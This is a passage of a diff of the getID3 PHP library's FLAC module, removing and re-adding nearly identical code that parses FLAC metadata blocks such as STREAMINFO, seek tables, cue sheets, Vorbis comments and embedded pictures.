(($BlockOffset + 4 + $BlockLength) > $info['avdataend']) { - $this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file'); - break; - } - if ($BlockLength < 1) { - if ($BlockTypeText != 'reserved') { - // probably supposed to be zero-length - $this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes'); - continue; - } - $this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid'); - break; - } - - $info['flac'][$BlockTypeText]['raw'] = array(); - $BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw']; - - $BlockTypeText_raw['offset'] = $BlockOffset; - $BlockTypeText_raw['last_meta_block'] = $LastBlockFlag; - $BlockTypeText_raw['block_type'] = $BlockType; - $BlockTypeText_raw['block_type_text'] = $BlockTypeText; - $BlockTypeText_raw['block_length'] = $BlockLength; - if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically - $BlockTypeText_raw['block_data'] = $this->fread($BlockLength); - } - - switch ($BlockTypeText) { - case 'STREAMINFO': // 0x00 - if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) { - return false; - } - break; - - case 'PADDING': // 0x01 - unset($info['flac']['PADDING']); // ignore - break; - - case 'APPLICATION': // 0x02 - if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) { - return false; - } - break; - - case 'SEEKTABLE': // 0x03 - if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) { - return false; - } - break; - - case 'VORBIS_COMMENT': // 0x04 - if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) { - return false; - } - break; - - case 'CUESHEET': // 0x05 - if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) { - return false; - } - break; - - case 'PICTURE': // 0x06 - if (!$this->parsePICTURE()) { - return false; - } - break; - - default: - $this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset); - } - - unset($info['flac'][$BlockTypeText]['raw']); - $info['avdataoffset'] = $this->ftell(); - } - while ($LastBlockFlag === false); - - // handle tags - if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) { - $info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments']; - } - if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) { - $info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']); - } - - // copy attachments to 'comments' array if nesesary - if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) { - foreach ($info['flac']['PICTURE'] as $entry) { - if (!empty($entry['data'])) { - if (!isset($info['flac']['comments']['picture'])) { - $info['flac']['comments']['picture'] = array(); - } - $comments_picture_data = array(); - foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { - if (isset($entry[$picture_key])) { - $comments_picture_data[$picture_key] = $entry[$picture_key]; - } - } - $info['flac']['comments']['picture'][] = $comments_picture_data; - unset($comments_picture_data); - } - } - } - - if (isset($info['flac']['STREAMINFO'])) { - if (!$this->isDependencyFor('matroska')) { - $info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset']; - } - $info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8); - if ($info['flac']['uncompressed_audio_bytes'] == 0) { - return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero'); - } - if (!empty($info['flac']['compressed_audio_bytes'])) { - $info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes']; - } - } - - // set md5_data_source - built into flac 0.5+ - if (isset($info['flac']['STREAMINFO']['audio_signature'])) { - - if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) { - $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)'); - } - else { - $info['md5_data_source'] = ''; - $md5 = $info['flac']['STREAMINFO']['audio_signature']; - for ($i = 0; $i < strlen($md5); $i++) { - $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); - } - if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { - unset($info['md5_data_source']); - } - } - } - - if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) { - $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; - if ($info['audio']['bits_per_sample'] == 8) { - // special case - // must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value - // MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed - $this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file'); - } - } - - return true; - } - - - /** - * @param string $BlockData - * - * @return array - */ - public static function parseSTREAMINFOdata($BlockData) { - $streaminfo = array(); - $streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2)); - $streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2)); - $streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3)); - $streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3)); - - $SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8)); - $streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20)); - $streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1; - $streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1; - $streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36)); - - $streaminfo['audio_signature'] = substr($BlockData, 18, 16); - - return $streaminfo; - } - - /** - * @param string $BlockData - * - * @return bool - */ - private function parseSTREAMINFO($BlockData) { - $info = &$this->getid3->info; - - $info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData); - - if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { - - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; - $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; - $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; - $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; - if ($info['playtime_seconds'] > 0) { - if (!$this->isDependencyFor('matroska')) { - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - } - else { - $this->warning('Cannot determine audio bitrate because total stream size is unknown'); - } - } - - } else { - return $this->error('Corrupt METAdata block: STREAMINFO'); - } - - return true; - } - - /** - * @param string $BlockData - * - * @return bool - */ - private function parseAPPLICATION($BlockData) { - $info = &$this->getid3->info; - - $ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4)); - $info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID); - $info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4); - - return true; - } - - /** - * @param string $BlockData - * - * @return bool - */ - private function parseSEEKTABLE($BlockData) { - $info = &$this->getid3->info; - - $offset = 0; - $BlockLength = strlen($BlockData); - $placeholderpattern = str_repeat("\xFF", 8); - while ($offset < $BlockLength) { - $SampleNumberString = substr($BlockData, $offset, 8); - $offset += 8; - if ($SampleNumberString == $placeholderpattern) { - - // placeholder point - getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1); - $offset += 10; - - } else { - - $SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString); - $info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); - $offset += 8; - $info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2)); - $offset += 2; - - } - } - - return true; - } - - /** - * @param string $BlockData - * - * @return bool - */ - private function parseVORBIS_COMMENT($BlockData) { - $info = &$this->getid3->info; - - $getid3_ogg = new getid3_ogg($this->getid3); - if ($this->isDependencyFor('matroska')) { - $getid3_ogg->setStringMode($this->data_string); - } - $getid3_ogg->ParseVorbisComments(); - if (isset($info['ogg'])) { - unset($info['ogg']['comments_raw']); - $info['flac']['VORBIS_COMMENT'] = $info['ogg']; - unset($info['ogg']); - } - - unset($getid3_ogg); - - return true; - } - - /** - * @param string $BlockData - * - * @return bool - */ - private function parseCUESHEET($BlockData) { - $info = &$this->getid3->info; - $offset = 0; - $info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0"); - $offset += 128; - $info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); - $offset += 8; - $info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80); - $offset += 1; - - $offset += 258; // reserved - - $info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); - $offset += 1; - - for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) { - $TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); - $offset += 8; - $TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); - $offset += 1; - - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset; - - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12); - $offset += 12; - - $TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); - $offset += 1; - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80); - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40); - - $offset += 13; // reserved - - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); - $offset += 1; - - for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) { - $IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); - $offset += 8; - $IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); - $offset += 1; - - $offset += 3; // reserved - - $info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset; - } - } - - return true; - } - - /** - * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment - * External usage: audio.ogg - * - * @return bool - */ - public function parsePICTURE() { - $info = &$this->getid3->info; - - $picture = array(); - $picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4)); - $picture['picturetype'] = self::pictureTypeLookup($picture['typeid']); - $picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4))); - $descr_length = getid3_lib::BigEndian2Int($this->fread(4)); - if ($descr_length) { - $picture['description'] = $this->fread($descr_length); - } - $picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4)); - $picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4)); - $picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4)); - $picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4)); - $picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4)); - - if ($picture['image_mime'] == '-->') { - $picture['data'] = $this->fread($picture['datalength']); - } else { - $picture['data'] = $this->saveAttachment( - str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(), - $this->ftell(), - $picture['datalength'], - $picture['image_mime']); - } - - $info['flac']['PICTURE'][] = $picture; - - return true; - } - - /** - * @param int $blocktype - * - * @return string - */ - public static function metaBlockTypeLookup($blocktype) { - static $lookup = array( - 0 => 'STREAMINFO', - 1 => 'PADDING', - 2 => 'APPLICATION', - 3 => 'SEEKTABLE', - 4 => 'VORBIS_COMMENT', - 5 => 'CUESHEET', - 6 => 'PICTURE', - ); - return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved'); - } - - /** - * @param int $applicationid - * - * @return string - */ - public static function applicationIDLookup($applicationid) { - // http://flac.sourceforge.net/id.html - static $lookup = array( - 0x41544348 => 'FlacFile', // "ATCH" - 0x42534F4C => 'beSolo', // "BSOL" - 0x42554753 => 'Bugs Player', // "BUGS" - 0x43756573 => 'GoldWave cue points (specification)', // "Cues" - 0x46696361 => 'CUE Splitter', // "Fica" - 0x46746F6C => 'flac-tools', // "Ftol" - 0x4D4F5442 => 'MOTB MetaCzar', // "MOTB" - 0x4D505345 => 'MP3 Stream Editor', // "MPSE" - 0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML" - 0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF" - 0x5346464C => 'Sound Font FLAC', // "SFFL" - 0x534F4E59 => 'Sony Creative Software', // "SONY" - 0x5351455A => 'flacsqueeze', // "SQEZ" - 0x54745776 => 'TwistedWave', // "TtWv" - 0x55495453 => 'UITS Embedding tools', // "UITS" - 0x61696666 => 'FLAC AIFF chunk storage', // "aiff" - 0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag" - 0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem" - 0x71667374 => 'QFLAC Studio', // "qfst" - 0x72696666 => 'FLAC RIFF chunk storage', // "riff" - 0x74756E65 => 'TagTuner', // "tune" - 0x78626174 => 'XBAT', // "xbat" - 0x786D6364 => 'xmcd', // "xmcd" - ); - return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved'); - } - - /** - * @param int $type_id - * - * @return string - */ - public static function pictureTypeLookup($type_id) { - static $lookup = array ( - 0 => 'Other', - 1 => '32x32 pixels \'file icon\' (PNG only)', - 2 => 'Other file icon', - 3 => 'Cover (front)', - 4 => 'Cover (back)', - 5 => 'Leaflet page', - 6 => 'Media (e.g. label side of CD)', - 7 => 'Lead artist/lead performer/soloist', - 8 => 'Artist/performer', - 9 => 'Conductor', - 10 => 'Band/Orchestra', - 11 => 'Composer', - 12 => 'Lyricist/text writer', - 13 => 'Recording Location', - 14 => 'During recording', - 15 => 'During performance', - 16 => 'Movie/video screen capture', - 17 => 'A bright coloured fish', - 18 => 'Illustration', - 19 => 'Band/artist logotype', - 20 => 'Publisher/Studio logotype', - ); - return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved'); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.flac.php // +// module for analyzing FLAC and OggFLAC audio files // +// dependencies: module.audio.ogg.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); + +/** +* @tutorial http://flac.sourceforge.net/format.html +*/ +class getid3_flac extends getid3_handler +{ + const syncword = 'fLaC'; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $StreamMarker = $this->fread(4); + if ($StreamMarker != self::syncword) { + return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"'); + } + $info['fileformat'] = 'flac'; + $info['audio']['dataformat'] = 'flac'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + // parse flac container + return $this->parseMETAdata(); + } + + /** + * @return bool + */ + public function parseMETAdata() { + $info = &$this->getid3->info; + do { + $BlockOffset = $this->ftell(); + $BlockHeader = $this->fread(4); + $LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType + $LastBlockFlag = (bool) ($LBFBT & 0x80); + $BlockType = ($LBFBT & 0x7F); + $BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3)); + $BlockTypeText = self::metaBlockTypeLookup($BlockType); + + if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) { + $this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file'); + break; + } + if ($BlockLength < 1) { + if ($BlockTypeText != 'reserved') { + // probably supposed to be zero-length + $this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes'); + continue; + } + $this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid'); + break; + } + + $info['flac'][$BlockTypeText]['raw'] = array(); + $BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw']; + + $BlockTypeText_raw['offset'] = $BlockOffset; + $BlockTypeText_raw['last_meta_block'] = $LastBlockFlag; + $BlockTypeText_raw['block_type'] = $BlockType; + $BlockTypeText_raw['block_type_text'] = $BlockTypeText; + $BlockTypeText_raw['block_length'] = $BlockLength; + if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically + $BlockTypeText_raw['block_data'] = $this->fread($BlockLength); + } + + switch ($BlockTypeText) { + case 'STREAMINFO': // 0x00 + if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) { + return false; + } + break; + + case 'PADDING': // 0x01 + unset($info['flac']['PADDING']); // ignore + break; + + case 'APPLICATION': // 0x02 + if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) { + return false; + } + break; + + case 'SEEKTABLE': // 0x03 + if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) { + return false; + } + break; + + case 'VORBIS_COMMENT': // 0x04 + if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) { + return false; + } + break; + + case 'CUESHEET': // 0x05 + if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) { + return false; + } + break; + + case 'PICTURE': // 0x06 + if (!$this->parsePICTURE()) { + return false; + } + break; + + default: + $this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset); + } + + unset($info['flac'][$BlockTypeText]['raw']); + $info['avdataoffset'] = $this->ftell(); + } + while ($LastBlockFlag === false); + + // handle tags + if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) { + $info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments']; + } + if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) { + $info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']); + } + + // copy attachments to 'comments' array if nesesary + if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) { + foreach ($info['flac']['PICTURE'] as $entry) { + if (!empty($entry['data'])) { + if (!isset($info['flac']['comments']['picture'])) { + $info['flac']['comments']['picture'] = array(); + } + $comments_picture_data = array(); + foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { + if (isset($entry[$picture_key])) { + $comments_picture_data[$picture_key] = $entry[$picture_key]; + } + } + $info['flac']['comments']['picture'][] = $comments_picture_data; + unset($comments_picture_data); + } + } + } + + if (isset($info['flac']['STREAMINFO'])) { + if (!$this->isDependencyFor('matroska')) { + $info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset']; + } + $info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8); + if ($info['flac']['uncompressed_audio_bytes'] == 0) { + return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero'); + } + if (!empty($info['flac']['compressed_audio_bytes'])) { + $info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes']; + } + } + + // set md5_data_source - built into flac 0.5+ + if (isset($info['flac']['STREAMINFO']['audio_signature'])) { + + if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) { + $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)'); + } + else { + $info['md5_data_source'] = ''; + $md5 = $info['flac']['STREAMINFO']['audio_signature']; + for ($i = 0; $i < strlen($md5); $i++) { + $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); + } + if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { + unset($info['md5_data_source']); + } + } + } + + if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) { + $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; + if ($info['audio']['bits_per_sample'] == 8) { + // special case + // must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value + // MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed + $this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file'); + } + } + + return true; + } + + + /** + * @param string $BlockData + * + * @return array + */ + public static function parseSTREAMINFOdata($BlockData) { + $streaminfo = array(); + $streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2)); + $streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2)); + $streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3)); + $streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3)); + + $SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8)); + $streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20)); + $streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1; + $streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1; + $streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36)); + + $streaminfo['audio_signature'] = substr($BlockData, 18, 16); + + return $streaminfo; + } + + /** + * @param string $BlockData + * + * @return bool + */ + private function parseSTREAMINFO($BlockData) { + $info = &$this->getid3->info; + + $info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData); + + if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { + + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; + $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; + $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; + $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; + if ($info['playtime_seconds'] > 0) { + if (!$this->isDependencyFor('matroska')) { + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + } + else { + $this->warning('Cannot determine audio bitrate because total stream size is unknown'); + } + } + + } else { + return $this->error('Corrupt METAdata block: STREAMINFO'); + } + + return true; + } + + /** + * @param string $BlockData + * + * @return bool + */ + private function parseAPPLICATION($BlockData) { + $info = &$this->getid3->info; + + $ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4)); + $info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID); + $info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4); + + return true; + } + + /** + * @param string $BlockData + * + * @return bool + */ + private function parseSEEKTABLE($BlockData) { + $info = &$this->getid3->info; + + $offset = 0; + $BlockLength = strlen($BlockData); + $placeholderpattern = str_repeat("\xFF", 8); + while ($offset < $BlockLength) { + $SampleNumberString = substr($BlockData, $offset, 8); + $offset += 8; + if ($SampleNumberString == $placeholderpattern) { + + // placeholder point + getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1); + $offset += 10; + + } else { + + $SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString); + $info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); + $offset += 8; + $info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2)); + $offset += 2; + + } + } + + return true; + } + + /** + * @param string $BlockData + * + * @return bool + */ + private function parseVORBIS_COMMENT($BlockData) { + $info = &$this->getid3->info; + + $getid3_ogg = new getid3_ogg($this->getid3); + if ($this->isDependencyFor('matroska')) { + $getid3_ogg->setStringMode($this->data_string); + } + $getid3_ogg->ParseVorbisComments(); + if (isset($info['ogg'])) { + unset($info['ogg']['comments_raw']); + $info['flac']['VORBIS_COMMENT'] = $info['ogg']; + unset($info['ogg']); + } + + unset($getid3_ogg); + + return true; + } + + /** + * @param string $BlockData + * + * @return bool + */ + private function parseCUESHEET($BlockData) { + $info = &$this->getid3->info; + $offset = 0; + $info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0"); + $offset += 128; + $info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); + $offset += 8; + $info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80); + $offset += 1; + + $offset += 258; // reserved + + $info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); + $offset += 1; + + for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) { + $TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); + $offset += 8; + $TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); + $offset += 1; + + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset; + + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12); + $offset += 12; + + $TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); + $offset += 1; + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80); + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40); + + $offset += 13; // reserved + + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); + $offset += 1; + + for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) { + $IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); + $offset += 8; + $IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); + $offset += 1; + + $offset += 3; // reserved + + $info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset; + } + } + + return true; + } + + /** + * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment + * External usage: audio.ogg + * + * @return bool + */ + public function parsePICTURE() { + $info = &$this->getid3->info; + + $picture = array(); + $picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4)); + $picture['picturetype'] = self::pictureTypeLookup($picture['typeid']); + $picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4))); + $descr_length = getid3_lib::BigEndian2Int($this->fread(4)); + if ($descr_length) { + $picture['description'] = $this->fread($descr_length); + } + $picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4)); + $picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4)); + $picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4)); + $picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4)); + $picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4)); + + if ($picture['image_mime'] == '-->') { + $picture['data'] = $this->fread($picture['datalength']); + } else { + $picture['data'] = $this->saveAttachment( + str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(), + $this->ftell(), + $picture['datalength'], + $picture['image_mime']); + } + + $info['flac']['PICTURE'][] = $picture; + + return true; + } + + /** + * @param int $blocktype + * + * @return string + */ + public static function metaBlockTypeLookup($blocktype) { + static $lookup = array( + 0 => 'STREAMINFO', + 1 => 'PADDING', + 2 => 'APPLICATION', + 3 => 'SEEKTABLE', + 4 => 'VORBIS_COMMENT', + 5 => 'CUESHEET', + 6 => 'PICTURE', + ); + return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved'); + } + + /** + * @param int $applicationid + * + * @return string + */ + public static function applicationIDLookup($applicationid) { + // http://flac.sourceforge.net/id.html + static $lookup = array( + 0x41544348 => 'FlacFile', // "ATCH" + 0x42534F4C => 'beSolo', // "BSOL" + 0x42554753 => 'Bugs Player', // "BUGS" + 0x43756573 => 'GoldWave cue points (specification)', // "Cues" + 0x46696361 => 'CUE Splitter', // "Fica" + 0x46746F6C => 'flac-tools', // "Ftol" + 0x4D4F5442 => 'MOTB MetaCzar', // "MOTB" + 